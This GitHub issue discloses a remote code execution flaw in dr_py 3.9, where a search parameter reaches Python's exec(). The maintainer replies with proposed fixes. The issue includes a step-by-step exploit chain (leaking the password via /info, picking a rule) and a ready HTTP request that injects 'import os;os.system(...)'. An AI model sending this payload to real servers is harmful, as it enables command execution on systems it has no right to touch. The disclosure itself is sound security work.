Skip to content
This repository has been archived by the owner on Jul 8, 2024. It is now read-only.

There is a code execution vulnerability in dr_py 3.9. #49

Open
Northind opened this issue Dec 15, 2023 · 1 comment
Open

There is a code execution vulnerability in dr_py 3.9. #49

Northind opened this issue Dec 15, 2023 · 1 comment

Comments

@Northind
Copy link

A code execution vulnerability in controllers.cms.CMS.searchContent allows an attacker to unconditionally execute system commands.
The relevant code is as follows.

    if wd:  # 搜索
        if rule == 'drpy':
            print(f'准备单独处理聚合搜索:{wd}')
            return multi_search(wd)
            # return multi_search2(wd)
        else:
            data = cms.searchContent(wd, pg)
            # print(data)
            return jsonify(data)

After code audit, in order to get here, the following three parameters need to be passed: pwd, rule, wd.
The pwd parameter must be verified with js0_password = lsg.getItem('JS0_PASSWORD', cfg.get('JS0_PASSWORD', '')). If they are consistent, you can go down. Otherwise, it will exit and report 403.
The rule parameter must be checked against the rules in rule_list to pass, otherwise it will exit.
The wd parameter is the payload to be passed in.
Obtain all fields that can query storage_service through the /info route, including JS0_PASSWORD
image

For the rule parameter, you only need to ensure that it exists in rule_list. You can get the rule list by accessing the /rules/view route. You can select one of several rules. The one selected here is AnFuns.
image
The last is the wd parameter, because the vulnerability code is like this,

if url.find('fypage') > -1:
    if '(' in url and ')' in url:
        # url_rep = url[url.find('('):url.find(')')+1]
        # cnt_page = url.split('(')[1].split(')')[0].replace('fypage',pg)
        # print(url_rep)
        url_rep = re.search('.*?\((.*)\)', url, re.M | re.S).groups()[0]
        cnt_page = url_rep.replace('fypage', pg)
        # print(url_rep)
        # print(cnt_page)
        cnt_ctx = {}
        exec(f'cnt_pg={cnt_page}', cnt_ctx)
        cnt_pg = str(cnt_ctx['cnt_pg'])  # 计算表达式的结果
        url = url.replace(url_rep, str(cnt_pg)).replace('(', '').replace(')', '')
        # print(url)

So you need to put the actual payload in () brackets, the request is as follows.

GET /vod?pwd=dzyyds&rule=AnFuns&wd=(1111;import%20os;os.system("curl%20127.0.0.1:9999")) HTTP/1.1
Host: 127.0.0.1:5705
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: sid=71884250c4b04a0c9c5827090c2553a8; token=b962db9103003a2a8b52d1fe5f33c7d4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

image

@hjdhnx
Copy link
Owner

hjdhnx commented Jan 2, 2024

感谢大佬提供漏洞,这个其实好修复。第一,把/info路由设为管理后台登录后可见,第二,把exec执行语句改成safe_eval,第三,把rules/view路由改成登录后可见

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants